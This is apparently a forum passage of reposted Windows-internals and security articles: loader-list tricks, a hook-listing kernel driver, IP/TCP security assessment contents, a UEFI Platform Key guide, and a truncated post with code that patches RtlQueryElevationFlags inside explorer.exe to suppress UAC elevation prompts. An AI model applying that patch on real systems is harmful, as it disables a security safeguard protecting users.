3620 Thread attach : 1280 Yay… wait a minute. Where are the detach and shutdown notifications? So much for mimicking DllMain. See those LIST_ENTRY structures at the head of the LDR_DATA_TABLE_ENTRY structure, those are the three different orders in which the module entries are linked. LoadOrder is obvious, whereas non-obviously MemoryOrder is the same as LoadOrder, and InitializationOrder is the order that the DllMain’s were called…, ah. Our LDR_DATA_TABLE_ENTRY is the first entry of the first two lists however since it isn’t a kosher dll, it’s not present in the third. ThreadAttach notifications work since ntdll walks the LoadOrder module list when calling entry points for thread attaches. The other notifications don’t work, since ntdll walks the InitOrder list for those. The solution therefore is to add ourself to that one, and that’s quite a simple op too. Where we should insert outselves is up to you, before kernel32 seems as good a place as any though. In summation: #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winternl.h> // for Unicode_string #include <cstdio> #define LDRP_IMAGE_DLL 0x00000004 #define LDRP_DONT_CALL_FOR_THREADS 0x00040000 #define LDRP_PROCESS_ATTACH_CALLED 0x00080000 struct LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; union { LIST_ENTRY HashLinks; PVOID SectionPointer; }; ULONG Checksum; union { ULONG TimeDataStamp; PVOID LoadedImports; }; PVOID EntryPointActivationContext; PVOID PatchInformation; }; BOOL APIENTRY ThreadAndShutdownNotify(HMODULE hMod, DWORD reason, PVOID pDynamic) { char buffer[100]; switch(reason) { case DLL_THREAD_ATTACH: { sprintf(buffer, "Thread attach : %lu\n", GetCurrentThreadId()); } break; case DLL_THREAD_DETACH: { sprintf(buffer, "Thread detach : %lu\n", GetCurrentThreadId()); } break; case DLL_PROCESS_DETACH: { sprintf(buffer, "Process detach : %lu\n", GetCurrentThreadId()); } break; } OutputDebugStringA(buffer); puts(buffer); return TRUE; } DWORD WINAPI WaitThread(PVOID p) { return WaitForSingleObject((HANDLE)p, INFINITE); } void InsertIntoList(LIST_ENTRY* pOurListEntry, LIST_ENTRY* pK32ListEntry) { // dll detach are called in reverse list order // so after Kernel32 is before it in the list // our forward link wants to point to whatever is after // k32ListEntry and our back link wants to point to pK32ListEn LIST_ENTRY* pEntryToInsertAfter = pK32ListEntry->Flink; pOurListEntry->Flink = pEntryToInsertAfter; pOurListEntry->Blink = pEntryToInsertAfter->Blink; pEntryToInsertAfter->Blink = pOurListEntry; pOurListEntry->Blink->Flink = pOurListEntry; } typedef NTSTATUS (NTAPI*pfnLdrFindEntryForAddress)(HMODULE hMod, LDR_DATA_TABLE_ENTRY** ppLdrData); int main() { HMODULE hNtdll = GetModuleHandle(L"ntdll.dll"); pfnLdrFindEntryForAddress LdrFindEntryForAddress = (pfnLdrFindEntryForAddress)GetProcAddress(hNtdll, "LdrFindEntryForAddress"); LDR_DATA_TABLE_ENTRY* pEntry = NULL; if(NT_SUCCESS(LdrFindEntryForAddress(GetModuleHandle(NULL), &pEntry))) { pEntry->EntryPoint = (PVOID)&ThreadAndShutdownNotify; pEntry->Flags |= LDRP_PROCESS_ATTACH_CALLED | LDRP_IMAGE_DLL; pEntry->Flags &= ~(LDRP_DONT_CALL_FOR_THREADS); pEntry->BaseAddress = (PVOID)(((ULONG_PTR)pEntry->BaseAddress) + 2); LDR_DATA_TABLE_ENTRY* pK32Entry = NULL; LdrFindEntryForAddress(GetModuleHandle(L"kernel32.dll"), &pK32Entry); InsertIntoList(&pOurEntry->InInitializationOrderModuleList, &pK32Entry->InInitializationOrderModuleList); } else { return puts("Something's strange, in the neighbourhood, and my phone doesn't work!!"); } HANDLE hEvent4 = CreateEvent(NULL, TRUE, FALSE, NULL); HANDLE hThread[10]; for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { hThread[i] = CreateThread(NULL, 0, &WaitThread, hEvent4, 0, NULL); } SetEvent(hEvent4); WaitForMultipleObjects(ARRAYSIZE(hThread), hThread, TRUE, INFINITE); for(DWORD i = 0; i < ARRAYSIZE(hThread); ++i) { CloseHandle(hThread[i]); } CloseHandle(hEvent4); return 0; } Output: Thread attach : 4856 Thread attach : 3896 Thread attach : 4140 Thread attach : 3488 Thread attach : 188 Thread detach : 188 Thread attach : 3272 Thread attach : 3376 Thread attach : 1632 Thread detach : 4856 Thread attach : 4120 Thread detach : 3896 Thread detach : 4140 Thread detach : 3488 Thread attach : 3484 Thread detach : 3272 Thread detach : 3376 Thread detach : 1632 Thread detach : 4120 Thread detach : 3484 Process detach : 4720 Yay, for realsies this time. So that’s how you do it, with help from some jiggery poker. No hooks, no external code, just pure, clean, faffing around. Sursa: Process Thread Creation Notification – The Easy Way
  21. [h=3]Hookers – Underneath the Sheets[/h]adeyblue @ 7:12 am Introduction Finding Hooks Finding Desktops Finding Threads Hook Information Dll Name Process Name Copying to User Mode Wrapup/TL:DR Download MsgHookLister [h=2]Introduction[/h] We all need ideas. Whether you’ve just finished something, or are getting a little bit bored with your current project you can’t help but let your mind drift to the next cool thing you’ll create. Sometimes the ideas come thick and fast, other times they’re like gold dust. When I’m in the second camp, and reading the various boards I read, I will quite happily steal other peoples. One such board is Sysinternals’. They do winternals, I do winternals, they have a suggestion section and I want ideas. It’s a perfect fit. On a previous visit, one of the suggestions was a program that could list active hooks. Given my previous excursions into user/win32k territory, it didn’t seem like it’d be too hard. And apart from the digging around assembly listings for the structure offsets, it wasn’t, and that was more time-intensive than difficult. At any rate, I am now the owner of 14 versions of win32k.sys’ symbols. I don’t even have 14 games on my computer! Rather than just dumping a download link (here) and what it does (list active hooks), I thought I’d deconstruct the hows and why’s of the kernel side of the query. Needless to say, much of what follows is discussion of undocumented things. I am aware this makes Raymond Chen cry. Sorry fella. [h=2]Finding hooks[/h] Compared to other operations, enumerating the installed hooks is quite easy. Thread specific hooks are recorded in a win32k per-thread data structure tagged, rather imaginatively, as THREADINFO[1]. This is essentially an ETHREAD/TEB like structure but one tailored specifically for user and gdi information. One of its members (aphkStart) is a 16 element array of pointers, individually they either point to NULL, or the head of a linked list of HOOK structures. Enumerating the hooks is simply a measure of walking down those chains. For convenience, and probably so that iteration isn’t required to see if any hooks are set, the THREADINFO contains another member, fsHooks, which is a bitfield. If a bit is on, the corresponding index in the hook array is valid. Instead of 33 comparisons (16 for NULL and 17 for a for-loop), telling if there are hooks requires just one, nifty! Global hooks, which are per desktop[2], are also stored in a per-object structure, also imaginatively named (DESKTOPINFO), and are also stored in an array with an accompanying bitfield. Bridging the two is pDeskInfo, a member of THREADINFO which points to its owning DESKTOPINFO. Despite the bellyaching in the intro, working with all these undocumented structures isn’t actually too hard in practice. The Windows 7 symbols for win32k.sys include their layouts, which is nice. The symbols for the Vista/Server 2008 era don’t though, this is where the assembly studying comes and saves the day. Knowing what these structures look like is one thing, getting at them is another… [h=3]Finding Desktops[/h] You may know that at the top of Windows UI architecture is the humble windowstation[3]. Not much is known about these creatures (read as: nobody needs to care) except that they are a glorified container of desktops. It is these delilahs of display that contain the actual user objects such as windows, hooks, menus etc. As mentioned, threads are bound to one desktop and which one can be determined by following a pointer. Desktop objects are stored in a singly linked list, so by following another pointer in the desktop structure rpDeskNext, you can enumerate desktops under a windowstation. Like threads, each desktop has a pointer to its owning windowstation which is also part of a singularly linked list. Everything’s fine and dandy, except that there are no guarantees the results of thread->desktop or desktop->windowstation find the heads of their respective lists. After all, there can only be one head before everybody has to fall into line. One method, and the one I used in the Desktop Heap Monitor update is to query the \Windows\Windowstations and \Sessions\\Windows\Windowstations object directories via NtOpenDirectoryObject and NtQueryDirectoryObject. The reward for this is a directory handle and an object name which can be redeemed against ObOpenObjectByName for an object handle, which can be finally be exchanged for a pointer with ObReferenceObjectByHandle. It’s relatively lots of work, but mostly documented. The alternative method which I only stumbled upon recently is much easier and much more hacky. One of win32k.sys’s globals is named grpWinStaList, which just happens to be the head of the windowstation list. As windowstation objects (named as tagWINDOWSTATION) contain a pointer to the head of the desktop list, iterating through them all is a piece of cake. [h=3]Finding Threads[/h] Finding threads takes the finesse approach of the desktops and throws it down the kitchen sink. Mixed metaphors aside, there’s nothing more to it than using ZwQuerySystemInformation(SystemProcessInformation) to enumerate running processes. What MSDN conceals about the SYSTEM_PROCESS_INFORMATION structure is that at the end of it is an array of SYSTEM_THREAD_INFORMATION structures, one for each thread in that process. The thread id contained in the struct is turned into an ETHREAD object by the above board PsLookupThreadByThreadId. Failure means the thread has probably exited, which is no biggie. Interrogation of the thread continues with PsGetThreadWin32Thread, a good cop who’ll smuggle out any THREADINFO pointer in the threads possession. Failure here isn’t a double cross, not all threads interact with the presentation side of Windows and those that don’t don’t have a value to return. NTSTATUS stat = STATUS_SUCCESS; const SYSTEM_THREAD_INFORMATION* pThreadInfo = process.Threads, *pEnd = pThreadInfo + process.ThreadCount; while(pThreadInfo != pEnd) { PETHREAD pThread = NULL; if(NT_SUCCESS(PsLookupThreadByThreadId(pThreadInfo->ClientId.UniqueThread, &pThread))) { __try { PVOID pWin32Thread = PsGetThreadWin32Thread(pThread); if(pWin32Thread) { stat = getWin32ThreadHooks(pWin32Thread, listHead, pLookaside); } } // ensure reference is released no matter what happens __finally { ObDereferenceObject(pThread); } } ++pThreadInfo; } With the THREADINFO and offsets in hand, the hook information is a dereference away… [h=2]Hook Information[/h] Having gotten our grubby mitts on them, we find HOOK structures record most of the relevant information themselves: struct tagHOOK { THRDESKHEAD head; // info about the creator struct tagHOOK* phkNext; // next entry in linked list int iHook; // WH_ hook type UINT_PTR offPfn; // RVA to hook function in ihmod library UINT flags; // HF_ flags (GLOBAL, ANSI) int ihmod; THREADINFO* ptiHooked; // the hooked thread PVOID rpDesk; // saved desktop pointer ULONG nTimeout :7; ULONG fLastHookHung :1; }; Directly stored is the originating thread (in the head member), the hooked thread, and (via an offset) the hook function. Noticeable by its absence, for those hooks which specify one, is the lack of any instant dll identification. [h=3]Dll Name[/h] By its’ name, ihmod hints at something to do with HMODULEs, and indeed it is. However, it’s nothing as simple as an index into an array of names or HMODULEs, nor can it be used by any function exported by the kernel or win32k. Undocumented is as undocumented does, ihmod is actually an index into another global of win32k.sys named aatomSysLoaded, an array of ATOMs. As mentioned, there are no functions exported that manipulate or query this array, no, more “dirty” methods are required. The dirtyness doesn’t stop once you’ve indexed the array (either by dereferencing a hardcoded offset or querying from the symbols). So what purpose does this ATOM have? Much like you can use GlobalAddAtom or AddAtom in user mode to essentailly map a string to an ATOM, win32k does too in kernel mode with the filename of the HMODULE passed to SetWindowsHookEx. Remember I said there’s more hacking after the array indexing? It’s not strictly necessary. The user-mode function GetClipboardFormatName can turn that atom into a dll name[4]. MsgHookLister goes the whole hacky way though and uses the win32k function UserGetAtomName, just because well, what’s one extra bit of hackery in a thing built completely on top of it? // abridged WCHAR* GetDllName(PVOID pHeap, int atomIndex) { // negative indexes are seen for LowLevel hooks // where there isn't an injected dll if(atomIndex < 0) return NULL; // turn the index to an ATOM ATOM actualAtom = aatomSysLoaded[atomIndex]; WCHAR* pNameBuf = RtlAllocateHeap(pHeap, HEAP_ZERO_MEMORY, MAX_PATH * sizeof(WCHAR)); if(pNameBuf) { ULONG charsNeeded = UserGetAtomName(actualAtom, pNameBuf, MAX_PATH); if(charsNeeded != 0) { // this is just a normal atom that's been stringified ignore it if(pNameBuf[0] == L'#') { RtlFreeHeap(pHeap, 0, pNameBuf); pNameBuf = NULL; } } } return pNameBuf; } That’s almost everything, but thread ids can be made much more pallatable to the client app… [h=3]Process Name[/h] The only other thing in the output not covered by the struct is the process name. Again, this can be gotten from user mode, and by looking in the PEB. However, in a rare bout of playing by the rules, MsgHookLister uses PsThreadToProcess to get an EPROCESS from an ETHREAD and PsGetProcessImageFileName to get the name string that is stored within it. void CopyThreadProcessName(PETHREAD pThread, char* pNameBuffer, ULONG bufLen) { PAGED_CODE(); // this doesn't need releasing PEPROCESS pProc = PsThreadToProcess(pThread); strncpy(pNameBuffer, (char*)PsGetProcessImageFileName(pProc), bufLen); pNameBuffer[bufLen - 1] = 0; } // // call site // HOOK* pHookIter = ... // the EThread offset is the same either way, // so it's OK to leave this as THREADINFO7 even on Vista THREADINFO7* pSettingThread = static_cast<THREADINFO7*>(pHookIter->head.pti); if(pSettingThread) { hook.dwSettingThread = HandleToULong(PsGetThreadId(pSettingThread->pEThread)); CopyThreadProcessName(pSettingThread->pEThread, hook.settingProcess, ARRAYSIZE(hook.settingProcess)); } [h=2]Copying to User Mode[/h] After collating all the relevant hook data, it needs to be marshalled somewhere user mode can access it. Normal Windows API calls dealing with this have the caller pass a buffer and a size, with the minimum length returned if the buffer is insufficient. There’s nothing wrong with this method, but if the information takes a long time to gather or is volatile this isn’t the most efficient approach. With that in mind, the approach taken by MsgHookLister is to always return this: typedef struct WindowsHookInfo_ { ClientHookArray* pHookInfoArray; } WindowsHookInfo; Instead of having the caller call back with an enlarged buffer, the driver makes a new heap in the calling process, allocates all the memory it needs from it, and then passes the heap handle back to the user mode app. When it’s finished, the app cleans up by freeing the memory and destroying the heap. A credible alternative to the heap is to allocate a glob of virtual memory and manage it yourself. It’s so credible I should’ve actually written it that way. To make the heap method work, it has to be created with the HEAP_NO_SERIALIZE flag because heaps created through the kernel use ERESOURCEs for locking, while user mode uses CRITICAL_SECTIONs, and they aren’t compatible. Oh well, some would say one last hack is a fitting ending to the call’s journey. With that, the ride is over. The request has been serviced and the driver is ready to remorselessly go through the whole process again and again at the clients behest. [h=2]Wrapup[/h] It did list queued window messages, now it lists active thread and global hooks too, it’s MsgHookLister. If this were Sysinternals it’d have a nice shiny gui but I’m not so it’s command line only. There are output samples and a video of it in action here. You can download the package here, it comes with x86 and x64 binaries and source code that puts the entirety of the above text into a ‘I could’ve figured that out’ category. Notes:[1]: The Win32Thread value reported by WinDbg when you use !process or !thread is the address of the THREADINFO. With a Win7 target, ‘dt win32k!tagTHREADINFO [address]‘ will display the structure’s contents. [2][3]: More information on windowstations and desktops can be found starting here [4]: GetClipboardFormatName can also be used to get the name for a value returned from RegisterWindowMessage. Clipboard format names, window messages, window classes and these hook dll name atoms all share the same atom table. You cannot use (Global)GetAtomName, these have usermode only atom tables. Sursa: Hookers – Underneath the Sheets
  22. Security Assessment of the Internet Protocol Table of Contents 1. Preface ...................................................................................................................................... 3 1 .1 Introduction ...................................................................................................................... 3 1 .2 Scope of this document ................................................................................................... 4 1 .3 Organization of this document .......................................................................................... 4 1 .4 Typographical conventions ............................................................................................... 5 1 .5 Getting the latest version of this document........................................................................ 5 1 .6 Advice and guidance to vendors....................................................................................... 5 1 .5 Acknowledgements .......................................................................................................... 5 2. The Internet Protocol ............................................................................................................... 6 3. Internet Protocol header fields ............................................................................................... 7 3.1 Version.............................................................................................................................. 7 3.2 IHL (Internet Header Length)............................................................................................. 8 3.3 TOS.................................................................................................................................. 8 3.4 Total Length...................................................................................................................... 9 3.5 Identification (ID).............................................................................................................. 10 3.5.1 Some workarounds implemented by the industry......................................................... 10 3.5.2 Possible security improvements................................................................................... 11 3.6 Flags............................................................................................................................... 13 3.7 Fragment Offset.............................................................................................................. 14 3.8 Time to Live (TTL)............................................................................................................ 15 3.9 Protocol.......................................................................................................................... 19 3.10 Header Checksum........................................................................................................ 19 3.11 Source Address............................................................................................................ 19 3.12 Destination Address...................................................................................................... 20 3.13 Options......................................................................................................................... 20 3.13.1 General issues with IP options.................................................................................... 21 3.13.1.1 Processing requirements......................................................................................... 21 3.13.1.2 Processing of the options by the upper layer protocol............................................. 22 3.13.1.3 General sanity checks on IP options........................................................................ 22 3.13.2 Issues with specific options........................................................................................ 23 3.13.2.1 End of Option List (Type = 0)................................................................................... 23 3.13.2.2 No Operation (Type = 1).......................................................................................... 24 3.13.2.3 Loose Source Record Route (LSRR) (Type = 131)................................................... 24 Security Assessment of the Internet Protocol 3.13.2.4 Strict Source and Record Route (SSRR) (Type = 137).............................................. 26 3.13.2.5 Record Route (Type = 7).......................................................................................... 29 3.13.2.6 Stream Identifier (Type = 136).................................................................................. 31 3.13.2.7 Internet Timestamp (Type = 68)............................................................................... 31 3.13.2.8 Router Alert (Type = 148)......................................................................................... 34 3.13.2.9 Probe MTU (Type =11)............................................................................................ 34 3.13.2.10 Reply MTU (Type = 12).......................................................................................... 34 3.13.2.11 Traceroute (Type = 82)........................................................................................... 35 3.13.2.12 DoD Basic Security Option (Type = 130)................................................................ 35 3.13.2.13 DoD Extended Security Option (Type = 133).......................................................... 36 3.13.2.14 Commercial IP Security Option (CIPSO)................................................................. 36 3.13.2.15 Sender Directed Multi-Destination Delivery (Type = 149)........................................ 37 3.14 Differentiated Services field ........................................................................................... 37 3.15 Explicit Congestion Notification (ECN) .......................................................................... 38 4. Internet Protocol Mechanisms .............................................................................................. 40 4.1 Fragment reassembly ..................................................................................................... 40 4.1.1 Problems related with memory allocation ..................................................................... 41 4.1.2 Problems that arise from the length of the IP Identification field .................................... 42 4.1.3 Problems that arise from the complexity of the reassembly algorithm .......................... 43 4.1.4 Problems that arise from the ambiguity of the reassembly process .............................. 43 4.1.5 Problems that arise from the size of the IP fragments .................................................. 44 4.1.6 Possible security improvements .................................................................................. 45 4.2 Forwarding ..................................................................................................................... 49 4.2.1 Precedence-ordered queue service ............................................................................. 49 4.2.2 Weak Type of Service .................................................................................................. 50 4.2.3 Address Resolution ..................................................................................................... 51 4.2.4 Dropping packets ........................................................................................................ 51 4.3 Addressing ..................................................................................................................... 52 4.3.1 Unreachable addresses ............................................................................................... 52 4.3.2 Private address space ................................................................................................. 52 4.3.3 Class D addresses (224/4 address block) .................................................................... 52 4.3.4 Class E addresses (240/4 address block) .................................................................... 52 4.3.5 Broadcast and multicast addresses, and connection-oriented protocols ..................... 53 4.3.6 Broadcast and network addresses .............................................................................. 53 4.3.7 Special Internet addresses .......................................................................................... 53 5. References .............................................................................................................................. 56 Download: http://www.si6networks.com/publications/InternetProtocol.pdf
  23. SECURITY ASSESSMENT OF THE TRANSMISSION CONTROL PROTOCOL (TCP) Contents 1. Preface.................................................................................................. 5 1.1. Introduction ..................................................................................................................................... 5 1.2. Scope of this document .................................................................................................................. 6 1.3. Organisation of this document........................................................................................................ 7 1.4. Typographical conventions............................................................................................................. 7 1.5 Acknowledgements ......................................................................................................................... 7 1.6. Advice and guidance to vendors .................................................................................................... 8 2. The Transmission Control Protocol................................................... 9 3. TCP header fields .............................................................................. 10 3.1. Source Port................................................................................................................................... 10 3.2. Destination port............................................................................................................................. 18 3.3. Sequence number ........................................................................................................................ 19 3.4. Acknowledgement number........................................................................................................... 20 3.5. Data Offset.................................................................................................................................... 21 3.6. Control bits.................................................................................................................................... 21 3.7. Window ......................................................................................................................................... 25 3.8. Checksum..................................................................................................................................... 26 3.9. Urgent pointer............................................................................................................................... 27 3.10. Options ....................................................................................................................................... 31 3.11. Padding....................................................................................................................................... 33 3.12. Data ............................................................................................................................................ 33 4. Common TCP options....................................................................... 34 4.1. End of Option List (Kind = 0) ........................................................................................................ 34 4.2. No Operation (Kind = 1)................................................................................................................ 34 4.3. Maximum Segment Size (Kind = 2).............................................................................................. 34 4.4. Selective Acknowledgement option.............................................................................................. 36 4.5. MD5 option (Kind=19)................................................................................................................... 38 4.6. Window scale option (Kind = 3).................................................................................................... 39 4.7. Timestamps option (Kind = 8) ...................................................................................................... 40 5. Connection-establishment mechanism........................................... 43 5.1. SYN flood...................................................................................................................................... 43 5.2. Connection forgery ....................................................................................................................... 46 5.3. Connection-flooding attack ........................................................................................................... 47 5.4. Firewall-bypassing techniques ..................................................................................................... 49 3 6. Connection-termination mechanism ............................................... 50 6.1. FIN-WAIT-2 flooding attack .......................................................................................................... 50 7. Buffer management........................................................................... 53 7.1. TCP retransmission buffer............................................................................................................ 53 7.2. TCP segment reassembly buffer .................................................................................................. 56 7.3. Automatic buffer tuning mechanisms ........................................................................................... 58 8. TCP segment reassembly algorithm ............................................... 62 8.1. Problems that arise from ambiguity in the reassembly process................................................... 62 9. TCP congestion control .................................................................... 63 9.1. Congestion control with misbehaving receivers ........................................................................... 64 9.2. Blind DupACK triggering attacks against TCP ............................................................................. 66 9.3. TCP Explicit Congestion Notification (ECN)................................................................................. 79 10. TCP API ............................................................................................ 82 10.1 Passive opens and binding sockets ............................................................................................ 82 10.2. Active opens and binding sockets .............................................................................................. 83 11. Blind in-window attacks.................................................................. 84 11.1. Blind TCP-based connection-reset attacks ................................................................................ 84 11.2. Blind data-injection attacks......................................................................................................... 90 12. Information leaking ......................................................................... 91 12.1. Remote Operating System detection via TCP/IP stack fingerprinting........................................ 91 12.2. System uptime detection ............................................................................................................ 94 13. Covert channels............................................................................... 95 14. TCP port scanning........................................................................... 96 14.1. Traditional connect() scan .......................................................................................................... 96 14.2. SYN scan.................................................................................................................................... 96 14.3. FIN, NULL, and XMAS scans..................................................................................................... 97 14.4. Maimon scan .............................................................................................................................. 98 14.5. Window scan .............................................................................................................................. 98 14.6. ACK scan.................................................................................................................................... 98 4 15. Processing of ICMP error messages by TCP.............................. 100 15.1. Internet Control Message Protocol........................................................................................... 100 15.2. Handling of ICMP error messages ........................................................................................... 101 15.3 Constraints in the possible solutions ......................................................................................... 102 15.4. General countermeasures against ICMP attacks..................................................................... 103 15.5. Blind connection-reset attack ................................................................................................... 104 15.6. Blind throughput-reduction attack............................................................................................. 107 15.7. Blind performance-degrading attack ........................................................................................ 108 16. TCP interaction with the Internet Protocol (IP) ........................... 120 16.1. TCP-based traceroute .............................................................................................................. 120 16.2. Blind TCP data injection through fragmented IP traffic ............................................................ 120 16.3. Broadcast and multicast IP addresses ..................................................................................... 121 17. References ..................................................................................... 122 Download: http://www.si6networks.com/publications/tn-03-09-security-assessment-TCP.pdf
  24. Owning your Windows 8 UEFI Platform Posted on 15 February 2013 by jejb Even if you only ever plan to run Windows or stock distributions of Linux that already have secure boot support, I’d encourage everybody who has a new UEFI secure boot platform to take ownership of it. The way you do this is by installing your own Platform Key. Once you have done this, you can use key database maintenance tools like keytool to edit all the keys on the Platform and move the platform programmatically from Setup Mode to User Mode and back again. This blog post describes how you go about doing this. First Save the Variables The first thing to do is to install and run KeyTool either directly (the platform must have secure boot turned off, because keytool is unsigned) or via the mini USB image and save all the current secure variable keys (select the ‘Save Keys’ option from the top level menu). This will save the contents of each variable as a single esl (EFI Signature List) file, so you should end up with three files: PK.esl, KEK.esl and db.esl. These files can later be used to restore the contents if something goes wrong in the updates (and because some platforms put you into setup mode by erasing the contents of all the secure variables), so save them in a safe place. Use the UEFI Menus to remove the Platform Key This is the step that it’s impossible to be precise about. Every UEFI platform seems to be different in how you do this. The Linux Foundation hosts a web page collecting the information but so far it only has the Intel Tunnel Mountain system on it, but if you work it out for your platform, leave me a comment describing what you did and I’ll add it to the LF page. The most common way to get a UEFI system to display the UEFI menus is to press ESC as it boots up. Create your own Platform Key If you rpm installed efitools, it will automatically have created a Platform Key for you in /usr/share/efitools/keys, plus all of the PK.auth and noPK.auth files. A platform key may be self signed, but doesn’t have to be (I’m using one signed with my root certificate). However, assuming you want to create a self-signed platform key manually, here are the steps: The standard command for doing this with openssl is openssl req -new -x509 -newkey rsa:2048 -subj “/CN=<my CN text>/” -keyout PK.key -out PK.crt -days 3650 -nodes -sha256 None of the parameters for the key (Like the Common Name) matters, so you can replace <my CN text> with anything you like (mine says ‘James Bottomley Platform Key 2013?) you can also add other X509 well known objects like your address. Once you have the two files PK.crt and PK.key, you need to save them in a safe location (PK.key is the one to guard since it’s your private key). Next, create an EFI Signature List file with the public key in (this and the next steps require that you have either installed the efitools rpm or compiled the unix commands from efitools.git and installed them on your system) cert-to-efi-sig-list -g <my random guid> PK.crt PK.esl where <my random guid> is any random GUID you choose. You also need to create an empty noPK.esl file which can be used to remove the platform key again > noPK.esl (do an ls -l on it to make sure it has zero size). Now you create the signed update files (called .auth files) sign-efi-sig-list -k PK.key -c PK.crt PK PK.esl PK.auth sign-efi-sig-list -k PK.key -c PK.crt PK noPK.esl noPK.auth copy the two .auth files to your USB key and you should now be able to use KeyTool to insert them into where the platform key is. Go to ‘Edit Keys’, select the ‘The Platform Key (PK)’ and then ‘Replace Keys(s)’. Navigate the file Chooser to your PK.auth file and you now are the platform Owner. Press ESC to go to the top level menu and it should tell you the platform is in User Mode and Secure Boot is enabled. Now verify you can move back to Setup Mode by going to ‘Edit Keys’, ‘The Platform Key (PK)’ and this time selecting the first entry (showing the GUID you chose for your platform key) and then ‘Delete with .auth file’. This time navigate to noPK.auth and select it. The platform key should now be gone and when you ESC to the top menu it will tell you you are in Setup Mode. You now own your own platform and can move easily between setup and user modes. Replace or Edit the rest of the Keys Now you own your own platform, restoring or replacing the current platform keys is easy. Where you saved the original keys, you should have a KEK.esl and a db.esl file. If you find that KEK and db are blank, you can restore them with this file, simply place the platform into Setup Mode, go to ‘Edit Keys’, ‘The Key Exchange Key Database (KEK)’ and ‘Replace Key(s)’ and finally navigate to the KEK.esl file you saved. You can also do the same thing with db.esl Now your platform should be back to its original condition except that you own the Platform Key and can decide easily to flip it into Setup Mode. Once in setup mode, you can edit the actual keys. One thing you can do is create your own signature key (using the method above for PK) and place it into db. You could also (assuming you never plan to boot windows) delete all the microsoft keys from the system. Beware if you decide to do this that some of your UEFI drivers may be signed by microsoft keys, and removing them all may limit the functionality of your UEFI platform. Additionally, any UEFI update to your system is also likely to come signed with the microsoft keys, however, in this case you can put the Microsoft keys back before doing the update. If pieces of your UEFI system do need to be signed, it might be possible to extract them and sign them with your key instead of Microsoft’s, but I haven’t yet found a system that needs this, so I don’t really have much of an idea how to do it. Remember to move your platform back to User Mode to enable secure boot before you exit KeyTool. Sursa: Owning your Windows 8 UEFI Platform | James Bottomley's random Pages
  25. [h=1]Disable UAC elevation dialog by patching RtlQueryElevationFlags in Windows Explorer[/h]By: [h=3]rohitab[/h]This post describes a method to run programs like regedit.exe without displaying the UAC elevation dialog. When you run a program using Windows Explorer, it calls CreateProcess, which in turn calls CreateProcessInternal. On operating systems with UAC, CreateProcessInternal calls RtlQueryElevationFlags to determine if the UAC elevation dialog should be displayed. Here is a screenshot from API Monitor showing the callstack for RtlQueryElevationFlags RtlQueryElevationFlags returns flags indicating the state of UAC. The following flags are supported: #define ELEVATION_UAC_ENABLED 0x01 #define ELEVATION_VIRTUALIZATION_ENABLED 0x02 #define ELEVATION_INSTALLER_DETECTION_ENABLED 0x04 See UnDoc'd for documentation on this undocumented API. Here is a disassembly of RtlQueryElevationFlags on Windows 7 x64 RtlQueryElevationFlags: 000000007700B850 C7 01 00 00 00 00 mov dword ptr [rcx], 0 000000007700B856 F6 04 25 F0 02 FE 7F 02 test byte ptr [7FFE02F0h],2 000000007700B85E 74 06 je RtlQueryElevationFlags+16h (7700B866h) 000000007700B860 C7 01 01 00 00 00 mov dword ptr [rcx],1 ; ELEVATION_UAC_ENABLED 000000007700B866 F6 04 25 F0 02 FE 7F 04 test byte ptr [7FFE02F0h],4 000000007700B86E 74 03 je RtlQueryElevationFlags+23h (7700B873h) 000000007700B870 83 09 02 or dword ptr [rcx],2 ; ELEVATION_VIRTUALIZATION_ENABLED 000000007700B873 F6 04 25 F0 02 FE 7F 08 test byte ptr [7FFE02F0h],8 000000007700B87B 74 03 je RtlQueryElevationFlags+30h (7700B880h) 000000007700B87D 83 09 04 or dword ptr [rcx],4 ; ELEVATION_INSTALLER_DETECTION_ENABLED 000000007700B880 33 C0 xor eax,eax 000000007700B882 C3 ret The API reads the value at 7FFE02F0h and sets flags indicating UAC state. In order to disable the UAC elevation dialog, the API needs to be modified so that it does not set any flags. There are multiple ways to do it such as re-routing the API using hotpatching, injecting a DLL, modifying the memory location 7FFE02F0h etc. Since we only need to modify a couple of values, its easier to just patch the API in place. The sample code shown below opens Windows Explorer (explorer.exe), and patches RtlQueryElevationFlags in ntdll.dll. Once patched, the API always returns 0 for the flags regardless of the UAC state. Any processes that are executed after this, will run without displaying the UAC elevation dialog. The code, if run again, will unpatch the API to its original state and restore UAC elevation check. Binaries for both 32-bit and 64-bit are attached to this post. // UAC Elevation Enable/Disable // Copyright © 2011, Rohitab Batra // All rights reserved. #include <tchar.h> #include <stdio.h> #include <Windows.h> #include <TlHelp32.h> // Bytes to patch and offsets for comparison #ifdef _WIN64 #define PATCH_BYTE_1 18 #define PATCH_BYTE_2 34 #define PATCH_BYTE_3 47 #define COMPARE_OFFSET_1 9 #define COMPARE_OFFSET_2 25 #define COMPARE_OFFSET_3 38 #define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1) #define BUFFER_SIZE 48 #else #define PATCH_BYTE_1 22 #define PATCH_BYTE_2 37 #define PATCH_BYTE_3 49 #define COMPARE_OFFSET_1 13 #define COMPARE_OFFSET_2 28 #define COMPARE_OFFSET_3 40 #define PATCH_SIZE (PATCH_BYTE_3 - PATCH_BYTE_1 + 1) #define BUFFER_SIZE 52 #endif DWORD GetExplorerProcessId() { DWORD dwProcessId = 0; HANDLE hProcessSnap; PROCESSENTRY32 pe32; // Create snapshot of running processes hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == INVALID_HANDLE_VALUE) { return 0; } // Iterate through the list to find explorer.exe pe32.dwSize = sizeof(PROCESSENTRY32); if(Process32First(hProcessSnap, &pe32)) { do { if(!_tcsicmp(pe32.szExeFile, _T("explorer.exe"))) { dwProcessId = pe32.th32ProcessID; break; } } while(Process32Next(hProcessSnap, &pe32)); } CloseHandle(hProcessSnap); return dwProcessId; } HMODULE GetNtDllModuleHandle(IN DWORD dwProcessId) { HMODULE hModule = NULL; MODULEENTRY32W me32; // Create a snapshot of modules in the process HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessId); if(hModuleSnap == 